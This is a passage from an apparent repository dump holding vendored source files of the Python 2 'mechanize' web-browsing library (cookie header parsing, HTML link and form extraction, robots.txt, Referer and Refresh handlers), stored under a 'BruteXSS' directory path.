\\\n                    v = '\"%s\"' % v\n                if k is None:  # Netscape cookies may have no name\n                    k = v\n                else:\n                    k = \"%s=%s\" % (k, v)\n            attr.append(k)\n        if attr: headers.append(\"; \".join(attr))\n    return \", \".join(headers)\n\ndef strip_quotes(text):\n    if text.startswith('\"'):\n        text = text[1:]\n    if text.endswith('\"'):\n        text = text[:-1]\n    return text\n\ndef parse_ns_headers(ns_headers):\n    \"\"\"Ad-hoc parser for Netscape protocol cookie-attributes.\n\n    The old Netscape cookie format for Set-Cookie can for instance contain\n    an unquoted \",\" in the expires field, so we have to use this ad-hoc\n    parser instead of split_header_words.\n\n    XXX This may not make the best possible effort to parse all the crap\n    that Netscape Cookie headers contain.  Ronald Tschalar's HTTPClient\n    parser is probably better, so could do worse than following that if\n    this ever gives any trouble.\n\n    Currently, this is also used for parsing RFC 2109 cookies.\n\n    \"\"\"\n    known_attrs = (\"expires\", \"domain\", \"path\", \"secure\",\n                   # RFC 2109 attrs (may turn up in Netscape cookies, too)\n                   \"version\", \"port\", \"max-age\")\n\n    result = []\n    for ns_header in ns_headers:\n        pairs = []\n        version_set = False\n        params = re.split(r\";\\s*\", ns_header)\n        for ii in range(len(params)):\n            param = params[ii]\n            param = param.rstrip()\n            if param == \"\": continue\n            if \"=\" not in param:\n                k, v = param, None\n            else:\n                k, v = re.split(r\"\\s*=\\s*\", param, 1)\n                k = k.lstrip()\n            if ii != 0:\n                lc = k.lower()\n                if lc in known_attrs:\n                    k = lc\n                if k == \"version\":\n                    # This is an RFC 2109 cookie.\n                    v = strip_quotes(v)\n                    version_set = True\n                if k == \"expires\":\n                    # convert expires date to seconds since epoch\n                    v = http2time(strip_quotes(v))  # None if invalid\n            pairs.append((k, v))\n\n        if pairs:\n            if not version_set:\n                pairs.append((\"version\", \"0\"))\n            result.append(pairs)\n\n    return result\n\n\ndef _test():\n   import doctest, _headersutil\n   return doctest.testmod(_headersutil)\n\nif __name__ == \"__main__\":\n   _test()\n"
  },
  {
    "path": "BruteXSS/mechanize/_html.py",
    "content": "\"\"\"HTML handling.\n\nCopyright 2003-2006 John J. Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it under\nthe terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\nimport codecs\nimport copy\nimport htmlentitydefs\nimport re\n\nimport _sgmllib_copy as sgmllib\n\nimport _beautifulsoup\nimport _form\nfrom _headersutil import split_header_words, is_html as _is_html\nimport _request\nimport _rfc3986\n\nDEFAULT_ENCODING = \"latin-1\"\n\nCOMPRESS_RE = re.compile(r\"\\s+\")\n\n\nclass CachingGeneratorFunction(object):\n    \"\"\"Caching wrapper around a no-arguments iterable.\"\"\"\n\n    def __init__(self, iterable):\n        self._cache = []\n        # wrap iterable to make it non-restartable (otherwise, repeated\n        # __call__ would give incorrect results)\n        self._iterator = iter(iterable)\n\n    def __call__(self):\n        cache = self._cache\n        for item in cache:\n            yield item\n        for item in self._iterator:\n            cache.append(item)\n            yield item\n\n\nclass EncodingFinder:\n    def __init__(self, default_encoding):\n        self._default_encoding = default_encoding\n    def encoding(self, response):\n        # HTTPEquivProcessor may be in use, so both HTTP and HTTP-EQUIV\n        # headers may be in the response.  HTTP-EQUIV headers come last,\n        # so try in order from first to last.\n        for ct in response.info().getheaders(\"content-type\"):\n            for k, v in split_header_words([ct])[0]:\n                if k == \"charset\":\n                    encoding = v\n                    try:\n                        codecs.lookup(v)\n                    except LookupError:\n                        continue\n                    else:\n                        return encoding\n        return self._default_encoding\n\n\nclass ResponseTypeFinder:\n    def __init__(self, allow_xhtml):\n        self._allow_xhtml = allow_xhtml\n    def is_html(self, response, encoding):\n        ct_hdrs = response.info().getheaders(\"content-type\")\n        url = response.geturl()\n        # XXX encoding\n        return _is_html(ct_hdrs, url, self._allow_xhtml)\n\n\nclass Args(object):\n\n    # idea for this argument-processing trick is from Peter Otten\n\n    def __init__(self, args_map):\n        self.__dict__[\"dictionary\"] = dict(args_map)\n\n    def __getattr__(self, key):\n        try:\n            return self.dictionary[key]\n        except KeyError:\n            return getattr(self.__class__, key)\n\n    def __setattr__(self, key, value):\n        if key == \"dictionary\":\n            raise AttributeError()\n        self.dictionary[key] = value\n\n\ndef form_parser_args(\n    select_default=False,\n    form_parser_class=None,\n    request_class=None,\n    backwards_compat=False,\n    ):\n    return Args(locals())\n\n\nclass Link:\n    def __init__(self, base_url, url, text, tag, attrs):\n        assert None not in [url, tag, attrs]\n        self.base_url = base_url\n        self.absolute_url = _rfc3986.urljoin(base_url, url)\n        self.url, self.text, self.tag, self.attrs = url, text, tag, attrs\n    def __cmp__(self, other):\n        try:\n            for name in \"url\", \"text\", \"tag\", \"attrs\":\n                if getattr(self, name) != getattr(other, name):\n                    return -1\n        except AttributeError:\n            return -1\n        return 0\n    def __repr__(self):\n        return \"Link(base_url=%r, url=%r, text=%r, tag=%r, attrs=%r)\" % (\n            self.base_url, self.url, self.text, self.tag, self.attrs)\n\n\nclass LinksFactory:\n\n    def __init__(self,\n                 link_parser_class=None,\n                 link_class=Link,\n                 urltags=None,\n                 ):\n        import _pullparser\n        if link_parser_class is None:\n            link_parser_class = _pullparser.TolerantPullParser\n        self.link_parser_class = link_parser_class\n        self.link_class = link_class\n        if urltags is None:\n            urltags = {\n                \"a\": \"href\",\n                \"area\": \"href\",\n                \"frame\": \"src\",\n                \"iframe\": \"src\",\n                }\n        self.urltags = urltags\n        self._response = None\n        self._encoding = None\n\n    def set_response(self, response, base_url, encoding):\n        self._response = response\n        self._encoding = encoding\n        self._base_url = base_url\n\n    def links(self):\n        \"\"\"Return an iterator that provides links of the document.\"\"\"\n        response = self._response\n        encoding = self._encoding\n        base_url = self._base_url\n        p = self.link_parser_class(response, encoding=encoding)\n\n        try:\n            for token in p.tags(*(self.urltags.keys()+[\"base\"])):\n                if token.type == \"endtag\":\n                    continue\n                if token.data == \"base\":\n                    base_href = dict(token.attrs).get(\"href\")\n                    if base_href is not None:\n                        base_url = base_href\n                    continue\n                attrs = dict(token.attrs)\n                tag = token.data\n                text = None\n                # XXX use attr_encoding for ref'd doc if that doc does not\n                #  provide one by other means\n                #attr_encoding = attrs.get(\"charset\")\n                url = attrs.get(self.urltags[tag])  # XXX is \"\" a valid URL?\n                if not url:\n                    # Probably an <A NAME=\"blah\"> link or <AREA NOHREF...>.\n                    # For our purposes a link is something with a URL, so\n                    # ignore this.\n                    continue\n\n                url = _rfc3986.clean_url(url, encoding)\n                if tag == \"a\":\n                    if token.type != \"startendtag\":\n                        # hmm, this'd break if end tag is missing\n                        text = p.get_compressed_text((\"endtag\", tag))\n                    # but this doesn't work for e.g.\n                    # <a href=\"blah\"><b>Andy</b></a>\n                    #text = p.get_compressed_text()\n\n                yield Link(base_url, url, text, tag, token.attrs)\n        except sgmllib.SGMLParseError, exc:\n            raise _form.ParseError(exc)\n\nclass FormsFactory:\n\n    \"\"\"Makes a sequence of objects satisfying HTMLForm interface.\n\n    After calling .forms(), the .global_form attribute is a form object\n    containing all controls not a descendant of any FORM element.\n\n    For constructor argument docs, see ParseResponse argument docs.\n    \"\"\"\n\n    def __init__(self,\n                 select_default=False,\n                 form_parser_class=None,\n                 request_class=None,\n                 backwards_compat=False,\n                 ):\n        self.select_default = select_default\n        if form_parser_class is None:\n            form_parser_class = _form.FormParser\n        self.form_parser_class = form_parser_class\n        if request_class is None:\n            request_class = _request.Request\n        self.request_class = request_class\n        self.backwards_compat = backwards_compat\n        self._response = None\n        self.encoding = None\n        self.global_form = None\n\n    def set_response(self, response, encoding):\n        self._response = response\n        self.encoding = encoding\n        self.global_form = None\n\n    def forms(self):\n        encoding = self.encoding\n        forms = _form.ParseResponseEx(\n            self._response,\n            select_default=self.select_default,\n            form_parser_class=self.form_parser_class,\n            request_class=self.request_class,\n            encoding=encoding,\n            _urljoin=_rfc3986.urljoin,\n            _urlparse=_rfc3986.urlsplit,\n            _urlunparse=_rfc3986.urlunsplit,\n            )\n        self.global_form = forms[0]\n        return forms[1:]\n\nclass TitleFactory:\n    def __init__(self):\n        self._response = self._encoding = None\n\n    def set_response(self, response, encoding):\n        self._response = response\n        self._encoding = encoding\n\n    def _get_title_text(self, parser):\n        import _pullparser\n        text = []\n        tok = None\n        while 1:\n            try:\n                tok = parser.get_token()\n            except _pullparser.NoMoreTokensError:\n                break\n            if tok.type == \"data\":\n                text.append(str(tok))\n            elif tok.type == \"entityref\":\n                t = unescape(\"&%s;\" % tok.data,\n                             parser._entitydefs, parser.encoding)\n                text.append(t)\n            elif tok.type == \"charref\":\n                t = unescape_charref(tok.data, parser.encoding)\n                text.append(t)\n            elif tok.type in [\"starttag\", \"endtag\", \"startendtag\"]:\n                tag_name = tok.data\n                if tok.type == \"endtag\" and tag_name == \"title\":\n                    break\n                text.append(str(tok))\n        return COMPRESS_RE.sub(\" \", \"\".join(text).strip())\n\n    def title(self):\n        import _pullparser\n        p = _pullparser.TolerantPullParser(\n            self._response, encoding=self._encoding)\n        try:\n            try:\n                p.get_tag(\"title\")\n            except _pullparser.NoMoreTokensError:\n                return None\n            else:\n                return self._get_title_text(p)\n        except sgmllib.SGMLParseError, exc:\n            raise _form.ParseError(exc)\n\n\ndef unescape(data, entities, encoding):\n    if data is None or \"&\" not in data:\n        return data\n\n    def replace_entities(match):\n        ent = match.group()\n        if ent[1] == \"#\":\n            return unescape_charref(ent[2:-1], encoding)\n\n        repl = entities.get(ent[1:-1])\n        if repl is not None:\n            repl = unichr(repl)\n            if type(repl) != type(\"\"):\n                try:\n                    repl = repl.encode(encoding)\n                except UnicodeError:\n                    repl = ent\n        else:\n            repl = ent\n        return repl\n\n    return re.sub(r\"&#?[A-Za-z0-9]+?;\", replace_entities, data)\n\ndef unescape_charref(data, encoding):\n    name, base = data, 10\n    if name.startswith(\"x\"):\n        name, base= name[1:], 16\n    uc = unichr(int(name, base))\n    if encoding is None:\n        return uc\n    else:\n        try:\n            repl = uc.encode(encoding)\n        except UnicodeError:\n            repl = \"&#%s;\" % data\n        return repl\n\n\nclass MechanizeBs(_beautifulsoup.BeautifulSoup):\n    _entitydefs = htmlentitydefs.name2codepoint\n    # don't want the magic Microsoft-char workaround\n    PARSER_MASSAGE = [(re.compile('(<[^<>]*)/>'),\n                       lambda(x):x.group(1) + ' />'),\n                      (re.compile('<!\\s+([^<>]*)>'),\n                       lambda(x):'<!' + x.group(1) + '>')\n                      ]\n\n    def __init__(self, encoding, text=None, avoidParserProblems=True,\n                 initialTextIsEverything=True):\n        self._encoding = encoding\n        _beautifulsoup.BeautifulSoup.__init__(\n            self, text, avoidParserProblems, initialTextIsEverything)\n\n    def handle_charref(self, ref):\n        t = unescape(\"&#%s;\"%ref, self._entitydefs, self._encoding)\n        self.handle_data(t)\n    def handle_entityref(self, ref):\n        t = unescape(\"&%s;\"%ref, self._entitydefs, self._encoding)\n        self.handle_data(t)\n    def unescape_attrs(self, attrs):\n        escaped_attrs = []\n        for key, val in attrs:\n            val = unescape(val, self._entitydefs, self._encoding)\n            escaped_attrs.append((key, val))\n        return escaped_attrs\n\nclass RobustLinksFactory:\n\n    compress_re = COMPRESS_RE\n\n    def __init__(self,\n                 link_parser_class=None,\n                 link_class=Link,\n                 urltags=None,\n                 ):\n        if link_parser_class is None:\n            link_parser_class = MechanizeBs\n        self.link_parser_class = link_parser_class\n        self.link_class = link_class\n        if urltags is None:\n            urltags = {\n                \"a\": \"href\",\n                \"area\": \"href\",\n                \"frame\": \"src\",\n                \"iframe\": \"src\",\n                }\n        self.urltags = urltags\n        self._bs = None\n        self._encoding = None\n        self._base_url = None\n\n    def set_soup(self, soup, base_url, encoding):\n        self._bs = soup\n        self._base_url = base_url\n        self._encoding = encoding\n\n    def links(self):\n        bs = self._bs\n        base_url = self._base_url\n        encoding = self._encoding\n        for ch in bs.recursiveChildGenerator():\n            if (isinstance(ch, _beautifulsoup.Tag) and\n                ch.name in self.urltags.keys()+[\"base\"]):\n                link = ch\n                attrs = bs.unescape_attrs(link.attrs)\n                attrs_dict = dict(attrs)\n                if link.name == \"base\":\n                    base_href = attrs_dict.get(\"href\")\n                    if base_href is not None:\n                        base_url = base_href\n                    continue\n                url_attr = self.urltags[link.name]\n                url = attrs_dict.get(url_attr)\n                if not url:\n                    continue\n                url = _rfc3986.clean_url(url, encoding)\n                text = link.fetchText(lambda t: True)\n                if not text:\n                    # follow _pullparser's weird behaviour rigidly\n                    if link.name == \"a\":\n                        text = \"\"\n                    else:\n                        text = None\n                else:\n                    text = self.compress_re.sub(\" \", \" \".join(text).strip())\n                yield Link(base_url, url, text, link.name, attrs)\n\n\nclass RobustFormsFactory(FormsFactory):\n    def __init__(self, *args, **kwds):\n        args = form_parser_args(*args, **kwds)\n        if args.form_parser_class is None:\n            args.form_parser_class = _form.RobustFormParser\n        FormsFactory.__init__(self, **args.dictionary)\n\n    def set_response(self, response, encoding):\n        self._response = response\n        self.encoding = encoding\n\n\nclass RobustTitleFactory:\n    def __init__(self):\n        self._bs = self._encoding = None\n\n    def set_soup(self, soup, encoding):\n        self._bs = soup\n        self._encoding = encoding\n\n    def title(self):\n        title = self._bs.first(\"title\")\n        if title == _beautifulsoup.Null:\n            return None\n        else:\n            inner_html = \"\".join([str(node) for node in title.contents])\n            return COMPRESS_RE.sub(\" \", inner_html.strip())\n\n\nclass Factory:\n    \"\"\"Factory for forms, links, etc.\n\n    This interface may expand in future.\n\n    Public methods:\n\n    set_request_class(request_class)\n    set_response(response)\n    forms()\n    links()\n\n    Public attributes:\n\n    Note that accessing these attributes may raise ParseError.\n\n    encoding: string specifying the encoding of response if it contains a text\n     document (this value is left unspecified for documents that do not have\n     an encoding, e.g. an image file)\n    is_html: true if response contains an HTML document (XHTML may be\n     regarded as HTML too)\n    title: page title, or None if no title or not HTML\n    global_form: form object containing all controls that are not descendants\n     of any FORM element, or None if the forms_factory does not support\n     supplying a global form\n\n    \"\"\"\n\n    LAZY_ATTRS = [\"encoding\", \"is_html\", \"title\", \"global_form\"]\n\n    def __init__(self, forms_factory, links_factory, title_factory,\n                 encoding_finder=EncodingFinder(DEFAULT_ENCODING),\n                 response_type_finder=ResponseTypeFinder(allow_xhtml=False),\n                 ):\n        \"\"\"\n\n        Pass keyword arguments only.\n\n        default_encoding: character encoding to use if encoding cannot be\n         determined (or guessed) from the response.  You should turn on\n         HTTP-EQUIV handling if you want the best chance of getting this right\n         without resorting to this default.  The default value of this\n         parameter (currently latin-1) may change in future.\n\n        \"\"\"\n        self._forms_factory = forms_factory\n        self._links_factory = links_factory\n        self._title_factory = title_factory\n        self._encoding_finder = encoding_finder\n        self._response_type_finder = response_type_finder\n\n        self.set_response(None)\n\n    def set_request_class(self, request_class):\n        \"\"\"Set request class (mechanize.Request by default).\n\n        HTMLForm instances returned by .forms() will return instances of this\n        class when .click()ed.\n\n        \"\"\"\n        self._forms_factory.request_class = request_class\n\n    def set_response(self, response):\n        \"\"\"Set response.\n\n        The response must either be None or implement the same interface as\n        objects returned by mechanize.urlopen().\n\n        \"\"\"\n        self._response = response\n        self._forms_genf = self._links_genf = None\n        self._get_title = None\n        for name in self.LAZY_ATTRS:\n            try:\n                delattr(self, name)\n            except AttributeError:\n                pass\n\n    def __getattr__(self, name):\n        if name not in self.LAZY_ATTRS:\n            return getattr(self.__class__, name)\n\n        if name == \"encoding\":\n            self.encoding = self._encoding_finder.encoding(\n                copy.copy(self._response))\n            return self.encoding\n        elif name == \"is_html\":\n            self.is_html = self._response_type_finder.is_html(\n                copy.copy(self._response), self.encoding)\n            return self.is_html\n        elif name == \"title\":\n            if self.is_html:\n                self.title = self._title_factory.title()\n            else:\n                self.title = None\n            return self.title\n        elif name == \"global_form\":\n            self.forms()\n            return self.global_form\n\n    def forms(self):\n        \"\"\"Return iterable over HTMLForm-like objects.\n\n        Raises mechanize.ParseError on failure.\n        \"\"\"\n        # this implementation sets .global_form as a side-effect, for benefit\n        # of __getattr__ impl\n        if self._forms_genf is None:\n            try:\n                self._forms_genf = CachingGeneratorFunction(\n                    self._forms_factory.forms())\n            except:  # XXXX define exception!\n                self.set_response(self._response)\n                raise\n            self.global_form = getattr(\n                self._forms_factory, \"global_form\", None)\n        return self._forms_genf()\n\n    def links(self):\n        \"\"\"Return iterable over mechanize.Link-like objects.\n\n        Raises mechanize.ParseError on failure.\n        \"\"\"\n        if self._links_genf is None:\n            try:\n                self._links_genf = CachingGeneratorFunction(\n                    self._links_factory.links())\n            except:  # XXXX define exception!\n                self.set_response(self._response)\n                raise\n        return self._links_genf()\n\nclass DefaultFactory(Factory):\n    \"\"\"Based on sgmllib.\"\"\"\n    def __init__(self, i_want_broken_xhtml_support=False):\n        Factory.__init__(\n            self,\n            forms_factory=FormsFactory(),\n            links_factory=LinksFactory(),\n            title_factory=TitleFactory(),\n            response_type_finder=ResponseTypeFinder(\n                allow_xhtml=i_want_broken_xhtml_support),\n            )\n\n    def set_response(self, response):\n        Factory.set_response(self, response)\n        if response is not None:\n            self._forms_factory.set_response(\n                copy.copy(response), self.encoding)\n            self._links_factory.set_response(\n                copy.copy(response), response.geturl(), self.encoding)\n            self._title_factory.set_response(\n                copy.copy(response), self.encoding)\n\nclass RobustFactory(Factory):\n    \"\"\"Based on BeautifulSoup, hopefully a bit more robust to bad HTML than is\n    DefaultFactory.\n\n    \"\"\"\n    def __init__(self, i_want_broken_xhtml_support=False,\n                 soup_class=None):\n        Factory.__init__(\n            self,\n            forms_factory=RobustFormsFactory(),\n            links_factory=RobustLinksFactory(),\n            title_factory=RobustTitleFactory(),\n            response_type_finder=ResponseTypeFinder(\n                allow_xhtml=i_want_broken_xhtml_support),\n            )\n        if soup_class is None:\n            soup_class = MechanizeBs\n        self._soup_class = soup_class\n\n    def set_response(self, response):\n        Factory.set_response(self, response)\n        if response is not None:\n            data = response.read()\n            soup = self._soup_class(self.encoding, data)\n            self._forms_factory.set_response(\n                copy.copy(response), self.encoding)\n            self._links_factory.set_soup(\n                soup, response.geturl(), self.encoding)\n            self._title_factory.set_soup(soup, self.encoding)\n"
  },
  {
    "path": "BruteXSS/mechanize/_http.py",
    "content": "\"\"\"HTTP related handlers.\n\nNote that some other HTTP handlers live in more specific modules: _auth.py,\n_gzip.py, etc.\n\n\nCopyright 2002-2006 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport HTMLParser\nfrom cStringIO import StringIO\nimport htmlentitydefs\nimport logging\nimport robotparser\nimport socket\nimport time\n\nimport _sgmllib_copy as sgmllib\nfrom _urllib2_fork import HTTPError, BaseHandler\n\nfrom _headersutil import is_html\nfrom _html import unescape, unescape_charref\nfrom _request import Request\nfrom _response import response_seek_wrapper\nimport _rfc3986\nimport _sockettimeout\n\ndebug = logging.getLogger(\"mechanize\").debug\ndebug_robots = logging.getLogger(\"mechanize.robots\").debug\n\n# monkeypatch urllib2.HTTPError to show URL\n## import urllib2\n## def urllib2_str(self):\n##     return 'HTTP Error %s: %s (%s)' % (\n##         self.code, self.msg, self.geturl())\n## urllib2.HTTPError.__str__ = urllib2_str\n\n\nCHUNK = 1024  # size of chunks fed to HTML HEAD parser, in bytes\nDEFAULT_ENCODING = 'latin-1'\n\n# XXX would self.reset() work, instead of raising this exception?\nclass EndOfHeadError(Exception): pass\nclass AbstractHeadParser:\n    # only these elements are allowed in or before HEAD of document\n    head_elems = (\"html\", \"head\",\n                  \"title\", \"base\",\n                  \"script\", \"style\", \"meta\", \"link\", \"object\")\n    _entitydefs = htmlentitydefs.name2codepoint\n    _encoding = DEFAULT_ENCODING\n\n    def __init__(self):\n        self.http_equiv = []\n\n    def start_meta(self, attrs):\n        http_equiv = content = None\n        for key, value in attrs:\n            if key == \"http-equiv\":\n                http_equiv = self.unescape_attr_if_required(value)\n            elif key == \"content\":\n                content = self.unescape_attr_if_required(value)\n        if http_equiv is not None and content is not None:\n            self.http_equiv.append((http_equiv, content))\n\n    def end_head(self):\n        raise EndOfHeadError()\n\n    def handle_entityref(self, name):\n        #debug(\"%s\", name)\n        self.handle_data(unescape(\n            '&%s;' % name, self._entitydefs, self._encoding))\n\n    def handle_charref(self, name):\n        #debug(\"%s\", name)\n        self.handle_data(unescape_charref(name, self._encoding))\n\n    def unescape_attr(self, name):\n        #debug(\"%s\", name)\n        return unescape(name, self._entitydefs, self._encoding)\n\n    def unescape_attrs(self, attrs):\n        #debug(\"%s\", attrs)\n        escaped_attrs = {}\n        for key, val in attrs.items():\n            escaped_attrs[key] = self.unescape_attr(val)\n        return escaped_attrs\n\n    def unknown_entityref(self, ref):\n        self.handle_data(\"&%s;\" % ref)\n\n    def unknown_charref(self, ref):\n        self.handle_data(\"&#%s;\" % ref)\n\n\nclass XHTMLCompatibleHeadParser(AbstractHeadParser,\n                                HTMLParser.HTMLParser):\n    def __init__(self):\n        HTMLParser.HTMLParser.__init__(self)\n        AbstractHeadParser.__init__(self)\n\n    def handle_starttag(self, tag, attrs):\n        if tag not in self.head_elems:\n            raise EndOfHeadError()\n        try:\n            method = getattr(self, 'start_' + tag)\n        except AttributeError:\n            try:\n                method = getattr(self, 'do_' + tag)\n            except AttributeError:\n                pass # unknown tag\n            else:\n                method(attrs)\n        else:\n            method(attrs)\n\n    def handle_endtag(self, tag):\n        if tag not in self.head_elems:\n            raise EndOfHeadError()\n        try:\n            method = getattr(self, 'end_' + tag)\n        except AttributeError:\n            pass # unknown tag\n        else:\n            method()\n\n    def unescape(self, name):\n        # Use the entitydefs passed into constructor, not\n        # HTMLParser.HTMLParser's entitydefs.\n        return self.unescape_attr(name)\n\n    def unescape_attr_if_required(self, name):\n        return name  # HTMLParser.HTMLParser already did it\n\nclass HeadParser(AbstractHeadParser, sgmllib.SGMLParser):\n\n    def _not_called(self):\n        assert False\n\n    def __init__(self):\n        sgmllib.SGMLParser.__init__(self)\n        AbstractHeadParser.__init__(self)\n\n    def handle_starttag(self, tag, method, attrs):\n        if tag not in self.head_elems:\n            raise EndOfHeadError()\n        if tag == \"meta\":\n            method(attrs)\n\n    def unknown_starttag(self, tag, attrs):\n        self.handle_starttag(tag, self._not_called, attrs)\n\n    def handle_endtag(self, tag, method):\n        if tag in self.head_elems:\n            method()\n        else:\n            raise EndOfHeadError()\n\n    def unescape_attr_if_required(self, name):\n        return self.unescape_attr(name)\n\ndef parse_head(fileobj, parser):\n    \"\"\"Return a list of key, value pairs.\"\"\"\n    while 1:\n        data = fileobj.read(CHUNK)\n        try:\n            parser.feed(data)\n        except EndOfHeadError:\n            break\n        if len(data) != CHUNK:\n            # this should only happen if there is no HTML body, or if\n            # CHUNK is big\n            break\n    return parser.http_equiv\n\nclass HTTPEquivProcessor(BaseHandler):\n    \"\"\"Append META HTTP-EQUIV headers to regular HTTP headers.\"\"\"\n\n    handler_order = 300  # before handlers that look at HTTP headers\n\n    def __init__(self, head_parser_class=HeadParser,\n                 i_want_broken_xhtml_support=False,\n                 ):\n        self.head_parser_class = head_parser_class\n        self._allow_xhtml = i_want_broken_xhtml_support\n\n    def http_response(self, request, response):\n        if not hasattr(response, \"seek\"):\n            response = response_seek_wrapper(response)\n        http_message = response.info()\n        url = response.geturl()\n        ct_hdrs = http_message.getheaders(\"content-type\")\n        if is_html(ct_hdrs, url, self._allow_xhtml):\n            try:\n                try:\n                    html_headers = parse_head(response,\n                                              self.head_parser_class())\n                finally:\n                    response.seek(0)\n            except (HTMLParser.HTMLParseError,\n                    sgmllib.SGMLParseError):\n                pass\n            else:\n                for hdr, val in html_headers:\n                    # add a header\n                    http_message.dict[hdr.lower()] = val\n                    text = hdr + \": \" + val\n                    for line in text.split(\"\\n\"):\n                        http_message.headers.append(line + \"\\n\")\n        return response\n\n    https_response = http_response\n\n\nclass MechanizeRobotFileParser(robotparser.RobotFileParser):\n\n    def __init__(self, url='', opener=None):\n        robotparser.RobotFileParser.__init__(self, url)\n        self._opener = opener\n        self._timeout = _sockettimeout._GLOBAL_DEFAULT_TIMEOUT\n\n    def set_opener(self, opener=None):\n        import _opener\n        if opener is None:\n            opener = _opener.OpenerDirector()\n        self._opener = opener\n\n    def set_timeout(self, timeout):\n        self._timeout = timeout\n\n    def read(self):\n        \"\"\"Reads the robots.txt URL and feeds it to the parser.\"\"\"\n        if self._opener is None:\n            self.set_opener()\n        req = Request(self.url, unverifiable=True, visit=False,\n                      timeout=self._timeout)\n        try:\n            f = self._opener.open(req)\n        except HTTPError, f:\n            pass\n        except (IOError, socket.error, OSError), exc:\n            debug_robots(\"ignoring error opening %r: %s\" %\n                               (self.url, exc))\n            return\n        lines = []\n        line = f.readline()\n        while line:\n            lines.append(line.strip())\n            line = f.readline()\n        status = f.code\n        if status == 401 or status == 403:\n            self.disallow_all = True\n            debug_robots(\"disallow all\")\n        elif status >= 400:\n            self.allow_all = True\n            debug_robots(\"allow all\")\n        elif status == 200 and lines:\n            debug_robots(\"parse lines\")\n            self.parse(lines)\n\nclass RobotExclusionError(HTTPError):\n    def __init__(self, request, *args):\n        apply(HTTPError.__init__, (self,)+args)\n        self.request = request\n\nclass HTTPRobotRulesProcessor(BaseHandler):\n    # before redirections, after everything else\n    handler_order = 800\n\n    try:\n        from httplib import HTTPMessage\n    except:\n        from mimetools import Message\n        http_response_class = Message\n    else:\n        http_response_class = HTTPMessage\n\n    def __init__(self, rfp_class=MechanizeRobotFileParser):\n        self.rfp_class = rfp_class\n        self.rfp = None\n        self._host = None\n\n    def http_request(self, request):\n        scheme = request.get_type()\n        if scheme not in [\"http\", \"https\"]:\n            # robots exclusion only applies to HTTP\n            return request\n\n        if request.get_selector() == \"/robots.txt\":\n            # /robots.txt is always OK to fetch\n            return request\n\n        host = request.get_host()\n\n        # robots.txt requests don't need to be allowed by robots.txt :-)\n        origin_req = getattr(request, \"_origin_req\", None)\n        if (origin_req is not None and\n            origin_req.get_selector() == \"/robots.txt\" and\n            origin_req.get_host() == host\n            ):\n            return request\n\n        if host != self._host:\n            self.rfp = self.rfp_class()\n            try:\n                self.rfp.set_opener(self.parent)\n            except AttributeError:\n                debug(\"%r instance does not support set_opener\" %\n                      self.rfp.__class__)\n            self.rfp.set_url(scheme+\"://\"+host+\"/robots.txt\")\n            self.rfp.set_timeout(request.timeout)\n            self.rfp.read()\n            self._host = host\n\n        ua = request.get_header(\"User-agent\", \"\")\n        if self.rfp.can_fetch(ua, request.get_full_url()):\n            return request\n        else:\n            # XXX This should really have raised URLError.  Too late now...\n            msg = \"request disallowed by robots.txt\"\n            raise RobotExclusionError(\n                request,\n                request.get_full_url(),\n                403, msg,\n                self.http_response_class(StringIO()), StringIO(msg))\n\n    https_request = http_request\n\nclass HTTPRefererProcessor(BaseHandler):\n    \"\"\"Add Referer header to requests.\n\n    This only makes sense if you use each RefererProcessor for a single\n    chain of requests only (so, for example, if you use a single\n    HTTPRefererProcessor to fetch a series of URLs extracted from a single\n    page, this will break).\n\n    There's a proper implementation of this in mechanize.Browser.\n\n    \"\"\"\n    def __init__(self):\n        self.referer = None\n\n    def http_request(self, request):\n        if ((self.referer is not None) and\n            not request.has_header(\"Referer\")):\n            request.add_unredirected_header(\"Referer\", self.referer)\n        return request\n\n    def http_response(self, request, response):\n        self.referer = response.geturl()\n        return response\n\n    https_request = http_request\n    https_response = http_response\n\n\ndef clean_refresh_url(url):\n    # e.g. Firefox 1.5 does (something like) this\n    if ((url.startswith('\"') and url.endswith('\"')) or\n        (url.startswith(\"'\") and url.endswith(\"'\"))):\n        url = url[1:-1]\n    return _rfc3986.clean_url(url, \"latin-1\")  # XXX encoding\n\ndef parse_refresh_header(refresh):\n    \"\"\"\n    >>> parse_refresh_header(\"1; url=http://example.com/\")\n    (1.0, 'http://example.com/')\n    >>> parse_refresh_header(\"1; url='http://example.com/'\")\n    (1.0, 'http://example.com/')\n    >>> parse_refresh_header(\"1\")\n    (1.0, None)\n    >>> parse_refresh_header(\"blah\")  # doctest: +IGNORE_EXCEPTION_DETAIL\n    Traceback (most recent call last):\n    ValueError: invalid literal for float(): blah\n\n    \"\"\"\n\n    ii = refresh.find(\";\")\n    if ii != -1:\n        pause, newurl_spec = float(refresh[:ii]), refresh[ii+1:]\n        jj = newurl_spec.find(\"=\")\n        key = None\n        if jj != -1:\n            key, newurl = newurl_spec[:jj], newurl_spec[jj+1:]\n            newurl = clean_refresh_url(newurl)\n        if key is None or key.strip().lower() != \"url\":\n            raise ValueError()\n    else:\n        pause, newurl = float(refresh), None\n    return pause, newurl\n\nclass HTTPRefreshProcessor(BaseHandler):\n    \"\"\"Perform HTTP Refresh redirections.\n\n    Note that if a non-200 HTTP code has occurred (for example, a 30x\n    redirect), this processor will do nothing.\n\n    By default, only zero-time Refresh headers are redirected.  Use the\n    max_time attribute / constructor argument to allow Refresh with longer\n    pauses.  Use the honor_time attribute / constructor argument to control\n    whether the requested pause is honoured (with a time.sleep()) or\n    skipped in favour of immediate redirection.\n\n    Public attributes:\n\n    max_time: see above\n    honor_time: see above\n\n    \"\"\"\n    handler_order = 1000\n\n    def __init__(self, max_time=0, honor_time=True):\n        self.max_time = max_time\n        self.honor_time = honor_time\n        self._sleep = time.sleep\n\n    def http_response(self, request, response):\n        code, msg, hdrs = response.code, response.msg, response.info()\n\n        if code == 200 and hdrs.has_key(\"refresh\"):\n            refresh = hdrs.getheaders(\"refresh\")[0]\n            try:\n                pause, newurl = parse_refresh_header(refresh)\n            except ValueError:\n                debug(\"bad Refresh header: %r\" % refresh)\n                return response\n\n            if newurl is None:\n                newurl = response.geturl()\n            if (self.max_time is None) or (pause <= self.max_time):\n                if pause > 1E-3 and self.honor_time:\n                    self._sleep(pause)\n                hdrs[\"location\"] = newurl\n                # hardcoded http is 